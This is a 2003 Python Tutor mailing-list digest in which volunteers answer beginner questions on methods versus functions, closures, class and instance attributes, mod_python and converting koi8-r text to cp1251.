


From tim@johnsons-web.com  Fri Jun 13 12:33:02 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Fri Jun 13 11:33:02 2003
Subject: [Tutor] so.system() return values
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEOCEJAB.tim.one@comcast.net>
References: <LFEJJJNJEBIGPEPEPLIPMEBNCAAA.gus.tabares@verizon.net> <LNBBLJKPBEHFEDALKOLCCEOCEJAB.tim.one@comcast.net>
Message-ID: <20030613153514.GG11432@johnsons-web.com>

* Tim Peters <tim.one@comcast.net> [030612 20:39]:
> [Gus Tabares]
> > The best place to check information on standard Python modules is on
> > Python's website:
> > The module index is located at
> > http://www.python.org/doc/current/modindex.html. From the index:
> 
> The in-development docs sometimes have more up-to-date info.  In this case,
> they do, from
>     On Windows, the return value is that returned by the system shell
>     after running command, given by the Windows environment variable
>     COMSPEC:  on command.com systems (Windows 95, 98 and ME) this is always
>     0; on cmd.exe systems (Windows NT, 2000 and XP) this is the exit
>     status of the command run; on systems using a non-native shell,
>     consult your shell documentation.

  Thanks Tim. That does clarify a little more. I had read
  ...2.2/lib/os-process.html... I seem to remember from my
  windows-programming days that system() returns 0 also,

  regards

-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From pythontutor@venix.com  Fri Jun 13 12:57:02 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Fri Jun 13 11:57:02 2003
Subject: [Tutor] methods and functions
References: <20030613142447.28986.qmail@web20204.mail.yahoo.com>
Message-ID: <3EE9F411.5050708@venix.com>

I'm with you.  A method is a function.  The differences lie
in how each is found, and of course the first parameter
is grabbed from "before the dot".  mymodule.myfunc(obj) is found by
searching the mymodule namespace.  obj.myfunc() is found by searching
the class parentage of obj.  For many common cases the function
source code would look the same.  The method code becomes visibly different
when it depends upon special class features.  So a method has a richer environment
to operate in.  A method is essentially a function defined within a class body.

Danny wrote (6/12/03 5:02 PM PDT) an example for converting a function
into a method, so clearly methods and functions are not terribly different.

http://aspn.activestate.com/ASPN/Mail/Message/python-Tutor/1670425
ASPN : Mailing List Archive

Alex Martelli's "Python in a Nutshell" is lucid and brief.  My kids have my
Wesley Chung and Tom Christopher books, but I would expect reasonable explanations
in both.  Alan Gauld's web site is also helpful.
http://www.freenetpages.co.uk/hp/alan.gauld/
Learning to program

Gerardo Arnaez wrote:
 > well, a few nights a go, I had a eureka moment.
 > I finally grokked what __init__ and self really meant.
 >
 > Let me tell ya', from everything I had read it was
 > never really obvious, until I started thinking of self
 > as just another parameter.
 >
 > anyway, I had a discussion about it on irc.debian.org
 > #python and was surprised to learn that thinking
 > methods were the same thing as functions.  I was told
 > this was not the case, but every example I was given.
 > it looked to me that when a method was called for an
 > instance, it just like calling a function.
 >
 > What is the difference?
 > where can I read to understand this point?
 >
 > __________________________________
 > Do you Yahoo!?
 > Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
 > http://calendar.yahoo.com
 >
 > _______________________________________________
 > Tutor maillist  -  Tutor@python.org
 > http://mail.python.org/mailman/listinfo/tutor
 >


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From magnus@thinkware.se  Fri Jun 13 13:08:03 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 13 12:08:03 2003
Subject: [Tutor] Pointer handling
In-Reply-To: <000301c33129$5d7932f0$6401a8c0@xp>
References: <Sea1-F68LV47ozI9Wbb0000bc32@hotmail.com>
Message-ID: <5.2.1.1.0.20030613180503.01f54d78@www.thinkware.se>

At 22:27 2003-06-12 +0100, Alan Gauld wrote:
>Simply asking us to translate C uinto Python is probably not the
>most effective approach.

Agreed. I think English is a much better specification language
than C if the objective it to write a Python program.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From zak@harlekin-maus.com  Fri Jun 13 13:15:02 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Fri Jun 13 12:15:02 2003
Subject: [Tutor] Adding dynamic methods (was RE: Function assignment)
In-Reply-To: <2096.192.206.201.95.1055447968.squirrel@mail.harlekin-maus.com>
References: <3EE769C4.8000306@ccvcorp.com>
 <Pine.LNX.4.44.0306111059590.10306-100000@hkn.eecs.berkeley.edu>
 <1946.192.206.201.95.1055442890.squirrel@mail.harlekin-maus.com>
 <2096.192.206.201.95.1055447968.squirrel@mail.harlekin-maus.com>
Message-ID: <1178.192.206.201.95.1055520890.squirrel@mail.harlekin-maus.com>

Even though it works, I'm still confused as to why ...

###
    def msg(message):
        def f():
            return message
        return f
###

... works. Here's what I DO understand:

>>> a = msg('testA')

This will call msg, passing in 'testA'. msg then creates a function f,
which returns 'testA'. Then msg returns that function f.

How does this look to the Python interpreter? I mean, where is 'testA'
stored?

Are there any good references as to how this works?

By the way, a big thanks to everyone who helped with the msg/attach stuff.
I'm looking forward to sharing the PyFict module with y'all.

---
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From garnaez@yahoo.com  Fri Jun 13 13:29:02 2003
From: garnaez@yahoo.com (Gerardo Arnaez)
Date: Fri Jun 13 12:29:02 2003
Subject: [Tutor] methods and functions
In-Reply-To: <3EE9F411.5050708@venix.com>
Message-ID: <20030613162823.16562.qmail@web20210.mail.yahoo.com>

--- Lloyd Kvam <pythontutor@venix.com> wrote:
  A method is essentially a function
> defined within a class body.

Than is an instance method just passing an some other
class instace thorught another class instances' method

ie 

class A:
   def __init__ (self,A):
      self.name=A

   def printIt(self):
      print self.name

class B:
   def __init__ (self):
      pass


a=A('Aay')
b=B()

a.name
'Aay'

a.printIt
'Aay'

So what does

a.name(b) do?
Is this an instance method?

Is how a method differs from a function?


G






__________________________________
Do you Yahoo!?
Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
http://calendar.yahoo.com


From nas-pytut@python.ca  Fri Jun 13 14:34:06 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Fri Jun 13 13:34:06 2003
Subject: [Tutor] methods and functions
In-Reply-To: <20030613142447.28986.qmail@web20204.mail.yahoo.com>
References: <20030613142447.28986.qmail@web20204.mail.yahoo.com>
Message-ID: <20030613173653.GB2718@glacier.arctrix.com>

Let me try to explain the zen of object oriented programming (IMHO).
First, forget about inheritance; it's handy for sharing code but it's
not the core idea of OO programming.

Imagine programming without methods or classes.  All you have are
functions and strutures (i.e. records or, in Python, classes with no
methods).  Here's some example code using that style:

    TYPE_CIRCLE = 1
    TYPE_RECTANGLE = 2

    class Circle:
        pass

    def make_circle(position, radius):
        c = Circle()
        c.type = TYPE_CIRCLE
        c.position = position
        c.radius = radius
        c.draw = draw_circle
        return c

    class Rectangle:
        pass

    def make_rectangle(...):
        r = Rectangle()
        r.type = TYPE_CIRCLE
        ...
    
    def draw_circle(c):
        ...

    def draw_rectangle(r):
        ...

    def main():
        ...
        for shape in set_of_shapes:
            if shape.type is TYPE_CIRCLE:
                draw_circle(shape)
            elif shape.type is TYPE_RECTANGLE:
                draw_rectangle(shape)
            else:
                raise TypeError, "can't draw shape %r" % shape
        ...

    main()

Somewhere in our program we want to draw a set of shapes.  Some could be
circles, others could be rectangles.  Having to check what kind of shape
we have whenever we want to draw it is a pain, especially if we have to
draw it in different places in the program.  Duplicated code is evil so
let's make a draw() function to prevent the duplication:

    if draw(shape):
        if shape.type is TYPE_CIRCLE:
            draw_circle(shape)
        elif shape.type is TYPE_RECTANGLE:
            draw_rectangle(shape)
        else:
            raise TypeError, "can't draw shape %r" % shape

Now drawing shapes is easy, just call the draw() function.

    for shape in set_of_shapes:
        draw(shape)

The draw() function is one way of getting polymorphic behavior.  In OO
lingo, polymorphic means that the function does different things
depending on the type it is operating with.

Implementin polymorphism this way is pretty tedious.  Imagine that we
have many different types of shapes we want to draw.  Being clever
programmers, we realize that we can store a reference to the proper draw
function on the struture.  E.g.

    def make_circle(position, radius):
        c = Circle()
        c.position = position
        c.radius = radius
        c.draw = draw_circle # <- new addition
        return c

If we do this for all our shapes we can now write our draw() function
like this:

    def draw(shape):
        shape.draw(shape)

That's a an improvement and is essentially how people write OO style
code in non-OO languages like C.  Note that we don't need the
TYPE_* constants and that the code will be more efficient if we have
many types (there will be no long if/elif block).  Let's see how an OO
language like Python makes things easier.  Normal Python code would look
like this:

    class Circle:
        def __init__(self, position, radius):
            self.position = position
            self.radius = radius

        def draw(self):
            ...

    ...

    def main():
        ...
        for shape in set_of_shapes:
            shape.draw()
        ...

Python does a few things under the covers to make this work.  Every
instance of Circle points to its class via the __class__ attribute.
The class object has the attributes __init__ and draw, both referring to
function objects.  Circle(p, r) creates a new circle instance.  It does
this by first creating an empty instance and then calling __init__(p, r)
on the empty instance.  The __init__() method works the same as the
draw() but I'll explain how methods work by using draw() as the example.

Say we have a circle instance c (created by Circle(...)).  To call the 
draw method we write:

    c.draw()

The call is done by first looking up the draw attribute and then calling
it.   When looking up draw, if the c instance has a draw attribute it
will be returned directly.  If the c instance does not have a
draw attribute, as in this case, Python does not give up but instead
follows the __class__ attribute of the c instance and looks in that
object for a draw attribute.  It finds the draw unbound method
(essentially a function).  Now for the magic.  Because the draw method
is being accessed through an instance, Python wraps it in another object
to make it a bound method.

You can try this if you like:

    >>> class Circle:
    ...    def draw(self):
    ...       pass
    ... 
    >>> Circle.draw
    <unbound method Circle.draw>
    >>> c = Circle()
    >>> c.draw
    <bound method Circle.draw of <__main__.Circle instance at 0x816470c>>
    >>> c.__class__
    <class __main__.Circle at 0x81640ec>
    >>> c.__class__.draw
    <unbound method Circle.draw>

A bound method behaves like a function but prepends the instance to the
list of arguments.  That is, calling c.draw() has exactly the same
effect as calling Circle.draw(c).  The important thing to note is that
the first form allows for polymorphism.  The caller does not have the
know the type of c in order to call the right draw() method.

Polymorphism is really the central idea of OO programming.  Methods make
is easy to implement polymorphism.  That's the difference between
functions and methods.

  Neil


From nas-pytut@python.ca  Fri Jun 13 14:47:45 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Fri Jun 13 13:47:45 2003
Subject: [Tutor] Adding dynamic methods (was RE: Function assignment)
In-Reply-To: <1178.192.206.201.95.1055520890.squirrel@mail.harlekin-maus.com>
References: <3EE769C4.8000306@ccvcorp.com> <Pine.LNX.4.44.0306111059590.10306-100000@hkn.eecs.berkeley.edu> <1946.192.206.201.95.1055442890.squirrel@mail.harlekin-maus.com> <2096.192.206.201.95.1055447968.squirrel@mail.harlekin-maus.com> <1178.192.206.201.95.1055520890.squirrel@mail.harlekin-maus.com>
Message-ID: <20030613174933.GC2718@glacier.arctrix.com>

Zak Arntson wrote:
> How does this look to the Python interpreter? I mean, where is 'testA'
> stored?

This is pretty advanced stuff.  The short answer is that 'testA' is
stored in something called a closure.  A closure is basically a function
and it's lexical environment.

Poking around with dis might clear things up a little (maybe <wink>):

    >>> import dis
    >>> def msg(message):
    ...   def f():
    ...     return message
    ...   return f
    ... 
    >>> dis.dis(msg)
              0 SET_LINENO               1

              3 SET_LINENO               2
              6 LOAD_CLOSURE             0 (message)
              9 LOAD_CONST               1 (<code object f at 0x81682f8,
    file "<stdin>", line 2>)
             12 MAKE_CLOSURE             0
             15 STORE_FAST               1 (f)

             18 SET_LINENO               4
             21 LOAD_FAST                1 (f)
             24 RETURN_VALUE        
             25 LOAD_CONST               0 (None)
             28 RETURN_VALUE        
    >>> f = msg('testA')
    >>> f.func_closure
    (<cell at 0x8167b7c: str object at 0x8183b88>,)

In the above example, f is the closure.  The cell object refers to the
'testA' string.  The name func_closure is a bit confusing, IMO.  It does
not actually refer to the closure but instead refers to additional
information necessary to make the function into a closure.

> Are there any good references as to how this works?

The Python interpreter source code. :-)

  Neil


From garnaez@yahoo.com  Fri Jun 13 14:56:01 2003
From: garnaez@yahoo.com (Gerardo Arnaez)
Date: Fri Jun 13 13:56:01 2003
Subject: [Tutor] methods and functions
In-Reply-To: <20030613173653.GB2718@glacier.arctrix.com>
Message-ID: <20030613175459.11008.qmail@web20202.mail.yahoo.com>

Thank you for the explication.

--- Neil Schemenauer <nas-pytut@python.ca> wrote:
>When looking up draw, if the c instance has a
> draw attribute it
> will be returned directly.  If the c instance does
> not have a
> draw attribute, as in this case, Python does not
> give up but instead
> follows the __class__ attribute of the c instance
> and looks in that
> object for a draw attribute.

How can an instance of a class NOT have an attribute
that has been defined for that class.

ie you said, if the c instance does not have a draw
attribute,  but you have already defined the draw
method in the class(ie

class Circle:
   def draw(self):
      pass


... yes?

Thanks again, I printed it out and read it a few times

__________________________________
Do you Yahoo!?
Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
http://calendar.yahoo.com


From jeff@ccvcorp.com  Fri Jun 13 15:00:03 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Fri Jun 13 14:00:03 2003
Subject: [Tutor] Re: Can you modify every nth item in a list with a  single
 assignment?
References: <3EE916CB.9060208@ccvcorp.com>        <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net> <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com> <bcb9kt$co4$1@main.gmane.org> <bcbadv$gva$1@main.gmane.org>
Message-ID: <3EEA10D2.80600@ccvcorp.com>

Andrei wrote:

> >>> [ (item in range(0, len(b), 3) and [b[item]] or [2+b[item]])[0] 
> for item in range(0, len(b))]
> [0, 3, 4, 3, 6, 7, 6, 9, 10]
>
> That's better. 


Well, "better" being a matter of opinion. ;)  This works, sure, but I'd 
rather explicitly build a list of indices, and then explicitly loop 
through that list and modify the primary list -- or else use that list 
to exclude items from processing.

 >>> indices = range(0,9,3)
 >>> b = range(9)
 >>> for n in range(len(b)):
...     if n in indices:
...         continue
...     b[n] += 2
...    
 >>> b
[0, 3, 4, 3, 6, 7, 6, 9, 10]
 >>>

This is more than one line of code, sure... but I can actually *read* 
it!  To quote 'import this', "Readability counts."  As someone who 
frequently maintains old code, I can guarantee you that I'd much rather 
run across the explicit loops than the convoluted list comprehensions. 
 I can figure out the effect of the explicit loop in a matter of 
seconds; the list comprehensions and the and/or tricks would take me *at 
least* several minutes to painstakingly work out.  This strikes me as a 
very poor tradeoff.

Jeff Shannon
Technician/Programmer
Credit International





From jeff@ccvcorp.com  Fri Jun 13 15:07:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Fri Jun 13 14:07:01 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single
 assignment?
References: <5.2.1.1.0.20030612093506.03dc76c8@66.28.54.253> <50-1512273134.20030612232708@columbus.rr.com>
Message-ID: <3EEA1243.7010502@ccvcorp.com>

R. Alan Monroe wrote:

>>What is your goal here?
>>    
>>
>
>I'd like to, for instance, draw a column of pixels in a 2d video
>buffer that's implemented as a 1d array.
>  
>


Any particularly compelling reason to implement this as a 1d array? 
 (The fact that it's normally done that way in C is, IMHO, distinctly 
*not* a compelling reason.)  It seems to me that you're trying to 
implement matrix mathematics in a 1d list.  You'll almost certainly have 
better luck if you use the right data structure for the job.  If you're 
manipulating a video buffer, I'd strongly recommend either using a 
graphics-oriented library (such as wxOGL or PyGame) or, if you must 
manage pixels individually,  check out Numeric which has many fast 
array- and matrix-handling routines.  

Jeff Shannon
Technician/Programmer
Credit International




From nas-pytut@python.ca  Fri Jun 13 15:08:02 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Fri Jun 13 14:08:02 2003
Subject: [Tutor] methods and functions
In-Reply-To: <20030613175459.11008.qmail@web20202.mail.yahoo.com>
References: <20030613173653.GB2718@glacier.arctrix.com> <20030613175459.11008.qmail@web20202.mail.yahoo.com>
Message-ID: <20030613181048.GD2718@glacier.arctrix.com>

Gerardo Arnaez wrote:
> How can an instance of a class NOT have an attribute
> that has been defined for that class.
> 
> ie you said, if the c instance does not have a draw
> attribute,  but you have already defined the draw
> method in the class(ie
> 
> class Circle:
>    def draw(self):
>       pass

The confusion is due to the term "having an attribute".  You are right
because most people use "have an attribute" in the sense that if you
lookup the attribute it is found.

Technically the Circle instance does not have a draw attribute.  Looking
at the __dict__ will clear that up:

    Class Circle:
    ...     def draw(self):
    ...         pass
    ... 
    >>> c = Circle()
    >>> c.__dict__
    {}
    >>> Circle.__dict__
    {'__module__': '__main__', 'draw': <function draw at 0x815a76c>,
    '__doc__': None}

If you have a thousand Circle instances then they do not all refer to
the draw function.  Instead, they all refer to the Circle class via the
__class__ attribute and Circle refers the the function.

As an aside, __class__ in not in __dict__ basically because every
instance has it and putting in the dict would waste space.

I just thought of a way to show this without looking at __dict__.

    >>> class A:
    ...    n = 10
    ... 
    >>> x = A()
    >>> y = A()
    >>> x.n
    10
    >>> y.n
    10
    >>> A.n = 20
    >>> x.n
    20
    >>> y.n
    20

HTH,

  Neil


From magnus@thinkware.se  Fri Jun 13 15:37:09 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 13 14:37:09 2003
Subject: [Tutor] methods and functions
In-Reply-To: <20030613175459.11008.qmail@web20202.mail.yahoo.com>
References: <20030613173653.GB2718@glacier.arctrix.com>
Message-ID: <5.2.1.1.0.20030613201607.01eecfc0@www.thinkware.se>

At 10:54 2003-06-13 -0700, Gerardo Arnaez wrote:
>How can an instance of a class NOT have an attribute
>that has been defined for that class.

The instance *never* has an attribute just because
its class has an attribute. They are two different
objects.

When python reaches the code:

class X:
     ...

it creates a *class* object, and calls it X.

When python reaches the code:

x1 = X()

it creates an *instance* object, which will have an
attribute x1.__class__ = X.

 >>> class X:
...     a = 'Attribute in class X'
...
 >>> type(X)
<type 'class'>

 >>> x1 = X()
 >>> type(x1)
<type 'instance'>

 >>> x1.a
'Attribute in class X'

 >>> x1.a = 'Attribute in instance x1'
 >>> x1.a
'Attribute in instance x1'

 >>> x1.__dict__
{'a': 'Attribute in instance x1'}

 >>> X.__dict__
{'a': 'Attribute in class X', '__module__': '__main__', '__doc__': None}

The same mechanism exists whether the attributes are
strings, functions, or anything else.

 >>> class X:
...     def hi(self):
...             print "Hi"
...
 >>> X.hi
<unbound method X.hi>
 >>> type(X.hi)
<type 'instance method'>
 >>> x = X()
 >>> x.hi
<bound method X.hi of <__main__.X instance at 0x01185B00>>
 >>> type(x.hi)
<type 'instance method'>
 >>> X.__dict__
{'__module__': '__main__', 'hi': <function hi at 0x01188140>, '__doc__': None}
 >>> x.__dict__
{}

You see? Here, the method "hi" is an attribute of the class X.
It's *not* an attribute of the instance object x. But it's been
bound to x...

To connect to another recent thread, we can add a method to
the actual instance object as well...

 >>> x.hi()
Hi

This is what we expect. The x object uses the method defined in
its class. Let's give it its completely private instance method!

 >>> import new
 >>> def myHello(self):
...     print "Hello there!!!"
...
 >>> x.hi = new.instancemethod(myHello, x, X)
 >>> x.__dict__
{'hi': <bound method X.myHello of <__main__.X instance at 0x01185B00>>}

As you see, it now has an attribute 'hi', which is a bound method.

 >>> X.__dict__
{'__module__': '__main__', 'hi': <function hi at 0x01188140>, '__doc__': None}

But the class X still looks just the same... So, how does x
behave now?

 >>> x.hi()
Hello there!!!

It uses the "hi" which is defined most closely of course...
But you can still do:

 >>> X.hi(x)
Hi

Confused yet? :)

As you see, the plain and simple python interpreter and the
standard functions Python has for introspection lets you explore
a lot of things...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Fri Jun 13 15:47:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 13 14:47:02 2003
Subject: [Tutor] methods and functions
In-Reply-To: <5.2.1.1.0.20030613201607.01eecfc0@www.thinkware.se>
References: <20030613175459.11008.qmail@web20202.mail.yahoo.com>
 <20030613173653.GB2718@glacier.arctrix.com>
Message-ID: <5.2.1.1.0.20030613204842.01ef2e00@www.thinkware.se>

At 20:40 2003-06-13 +0200, Magnus Lyck=E5 wrote:
>When python reaches the code:
>
>class X:
>     ...
>
>it creates a *class* object, and calls it X.

This was a sloppy thing to say. I meant that it
creates a class object, *and* defines a name X in
the current namespace, and binds the name X to
the newly created class object.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language=20



From alan.gauld@blueyonder.co.uk  Fri Jun 13 16:08:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 13 15:08:02 2003
Subject: [Tutor] methods and functions
References: <20030613142447.28986.qmail@web20204.mail.yahoo.com>
Message-ID: <007e01c331df$26945830$6401a8c0@xp>

> methods were the same thing as functions.  I was told
> this was not the case, but every example I was given.
> it looked to me that when a method was called for an
> instance, it just like calling a function.


In most OO languages a method translates to a function call, 
but it isn't the case in every OO language. Let me try to 
explain and illustrate:

In principle objects get sent messages and as a result 
execute some operation. The block of code that is executed 
in response to a message is the corresponding method. Now 
there is nothing in OO theory that says the message and the 
method must have the same name. We can use a hypothetical 
programming language which looks a bit like python to 
illustrate how this might work:

class Spam:
    def foo(self): return 42
    addMethod("doIt", self.foo)

s = Spam()
s.send("doIt")

Here we create a class and define a method foo. However in this 
language the only way to execute methods is by 'send'ing a message 
to the class. In this case we say that the message that will 
execute foo is called "doIt".

Then we create an instance of Spam called s and send the message 
doIt to the object. Internally the send operation of the class 
looks up a dictionary to find what method is associated with 
the doIt message and then invokes it.

That may seem convoluted compared to the way we do things in 
Python (and Java and C++ etc...) but it is how some OO languages 
work(examples are Lisp Flavors and LOOPS). The advantage of 
this technique is that you can dynamically change which method 
gets executed for a given message at runtime, thus if certain 
operations are only allowed in a certain state you can create 
an error handler and associate it with all messages which are 
not permitted when the state is set. The external code just 
'sends' the same string value and the object calls the 
appropriate method depending on state. This avoids having to 
explicitly check the state and have duplicated error code in 
each method.

There are some other esoteric advantages but they are less used. 
The bottom line is that oit is a good idea to think of them as 
different things. Messages are sent to objects and the object 
executes a method. The fact that the code looks like a functon 
call, and usually acts like a function call is just a lucky 
coincidence!

HTH,

Alan G.




From magnus@thinkware.se  Fri Jun 13 16:11:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 13 15:11:01 2003
Subject: [Tutor] Can you create an image from Tkinter?
In-Reply-To: <5.1.0.14.0.20030612124213.049afec0@192.168.1.1>
References: <22-1602680473.20030611222020@columbus.rr.com>
Message-ID: <5.2.1.1.0.20030613205136.01f666d0@www.thinkware.se>

At 11:48 2003-06-13 +1000, Alfred Milgrom wrote:
>I wonder if anyone can help me with creating savable images (say GIF or 
>BMP) under Python?

I think you should take a look at PIL:
http://www.pythonware.com/products/pil/index.htm#pil114

A slightly old handbook is here:
http://www.pythonware.com/library/pil/handbook/index.htm


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From alan.gauld@blueyonder.co.uk  Fri Jun 13 16:15:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 13 15:15:02 2003
Subject: [Tutor] methods and functions
References: <20030613142447.28986.qmail@web20204.mail.yahoo.com> <3EE9F411.5050708@venix.com>
Message-ID: <008901c331e0$148a9e50$6401a8c0@xp>

> I'm with you.  A method is a function.  The differences lie
> in how each is found, and of course the first parameter
> is grabbed from "before the dot".  

Sorry, I have to disagree. Within Python the similarities are 
so great that you get away with thinking of them as identical 
99% of the time but in theory, and in several languages in 
practice too, there is a big difference between methods and 
functions. Or more specifically there is a difference between 
sending a message to an object and calling a function.

And under the covers that difference exists in Python too. 
Once you start playing with the getattr methods you can change 
the behaviour of an object quite a long way away from behaving 
like a function call.

It is much better to get into the habit of thinking of passing 
messages to objects and objects responding by executing a piece 
of code - and which piece only the object knows...

Alan G.


From magnus@thinkware.se  Fri Jun 13 16:19:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 13 15:19:01 2003
Subject: [Tutor] (mod_python v. Python) and Apache
In-Reply-To: <01bb01c3314f$b847da80$6600a8c0@tbrauch>
Message-ID: <5.2.1.1.0.20030613211429.01f80128@www.thinkware.se>

At 22:01 2003-06-12 -0400, Timothy M. Brauch wrote:
>And all is right in the world.  Then, script.py will run and output much
>like if I had done []$ python script.py, which is what I am much more
>accustomed to in Python programming.

What's a []$ script? I know what a CGI script is...

>First, is it possible from command line to call a function in a python
>script.  Clearly []$ python script.py/func1() doesn't work.  Nor does
>anything else I've tried.  I guess I could use sys.argv and an eval of some
>sort.  But that doesn't seem right.

You can allways provide the function name as a command line argument,
or rather as a parameter in GET or POST. Then you can have something
like that:

command = <the parameter string that you got as input>

def x():
    ...

def y():
    ...

if command in ['x', 'y']:
     globals()[command]
else:
     error_handling()

>If not, why should I use mod_python?

The main reason I see for using mod_python is to improve performance.
With CGI scripts, the python interpreter and all the modules you import
are loaded from disk each time you call a script. With mod_python it's
staying in memory between calls. For Python CGI scripts, this startup
time is very often the main issue limiting performance.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From shad@mail.kubtelecom.ru  Fri Jun 13 16:57:02 2003
From: shad@mail.kubtelecom.ru (Denis Dzyubenko)
Date: Fri Jun 13 15:57:02 2003
Subject: [Tutor] encodings
Message-ID: <878ys5vjkt.fsf@mail.kubtelecom.ru>

Hello, all

How can I convert some text from one encoding to another? For example,
I have text in koi8-r (default charset on my linux-system) and I need
to convert this text to cp1251 before sending into socket.
I try this:

('txt' variable contains russian text in koi8-r charset)

>>> txt.encode("cp1251")
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/usr/lib/python2.2/encodings/cp1251.py", line 18, in encode
    return codecs.charmap_encode(input,errors,encoding_map)
UnicodeError: ASCII decoding error: ordinal not in range(128)

What should I do ?

Python 2.2, as you see, on Debian 3.0r0
-- 
Denis.


From gyromagnetic@excite.com  Fri Jun 13 17:50:01 2003
From: gyromagnetic@excite.com (gyro funch)
Date: Fri Jun 13 16:50:01 2003
Subject: [Tutor] Getting class method variable values
Message-ID: <20030613204857.360B03CE4@xmxpita.excite.com>

Hi,
I am trying to have the __init__ method of my class inspect each of the class methods and create a variable based on these values. 

For instance,


class C(object):
    def __init__(self):
        from inspect import getmembers, ismethod  
        self.vvalues = []        
        for name,value in getmembers(self):
            if ismethod(value):
                vnames = value.im_func.func_code.co_names
                for vname in vnames:
                    if vname.startswith('v_'):           
                        vvalue = ? # how do I get this?               
                        self.vvalues.extend(vvalue)

    def c1(self):
        v_1 = [1,2,3]

    def c2(self):
        v_2 = [5,6,7]

I would like the following:
>>> myC = C()
>>> myC.vvalues
[1,2,3,5,6,7]


I can get the names of the variables (v_1,v_2), but I can't figure out how to get the value bound to each variable.

Any suggestions are appreciated.

-g


_______________________________________________
Join Excite! - http://www.excite.com
The most personalized portal on the Web!


From magnus@thinkware.se  Fri Jun 13 18:02:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 13 17:02:01 2003
Subject: [Tutor] encodings
In-Reply-To: <878ys5vjkt.fsf@mail.kubtelecom.ru>
Message-ID: <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>

At 23:55 2003-06-13 +0400, Denis Dzyubenko wrote:
>How can I convert some text from one encoding to another? For example,
>I have text in koi8-r (default charset on my linux-system) and I need
>to convert this text to cp1251 before sending into socket.
>I try this:

> >>> txt.encode("cp1251")

>What should I do ?

First, you need to DECODE the koi8-r to the common format that all
encodings understand: Unicode!

txt.decode('koi8-r').encode('cp1251')

Or, if we want to be more explicit:

unicode_txt =3D txt.decode('koi8-r')
cp1251_txt =3D unicode_txt.encode('cp1251')

This will convert the koi8-r string to a unicode string, and
then convert the unicode string to a cp1251 encoded 8 bit string.

Of course, in general txt.decode(x).encode(y) only works if
both encodings x and y support the same characters. You can
determine what to do in other cases with the error parameter
to encode. Default error value is 'strict'

 >>> "abc=E5=E4=F6".decode('latin1').encode('cp1251','ignore')
'abc'
 >>> "abc=E5=E4=F6".decode('latin1').encode('cp1251','replace')
'abc???'
 >>> "abc=E5=E4=F6".decode('latin1').encode('cp1251') # or=
 .encode('cp1251','strict')
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
   File "G:\Python22\lib\encodings\cp1251.py", line 18, in encode
     return codecs.charmap_encode(input,errors,encoding_map)
UnicodeError: charmap encoding error: character maps to <undefined>
 >>>



--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language=20



From nas-pytut@python.ca  Fri Jun 13 18:31:42 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Fri Jun 13 17:31:42 2003
Subject: [Tutor] Getting class method variable values
In-Reply-To: <20030613204857.360B03CE4@xmxpita.excite.com>
References: <20030613204857.360B03CE4@xmxpita.excite.com>
Message-ID: <20030613213357.GA3744@glacier.arctrix.com>

gyro funch wrote:
> I am trying to have the __init__ method of my class inspect each of
> the class methods and create a variable based on these values. 

Based on your code I take it you want to create variables in __init__
based on _local_ variables in other methods.  That's a strange thing to
do and is not supported by the Python language.  You can probably get
close by abusing some implementation details of the CPython interpreter
but I urge you to try a different approach.

Why do you want to do this?

  Neil


From magnus@thinkware.se  Fri Jun 13 18:35:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 13 17:35:02 2003
Subject: [Tutor] Getting class method variable values
In-Reply-To: <20030613204857.360B03CE4@xmxpita.excite.com>
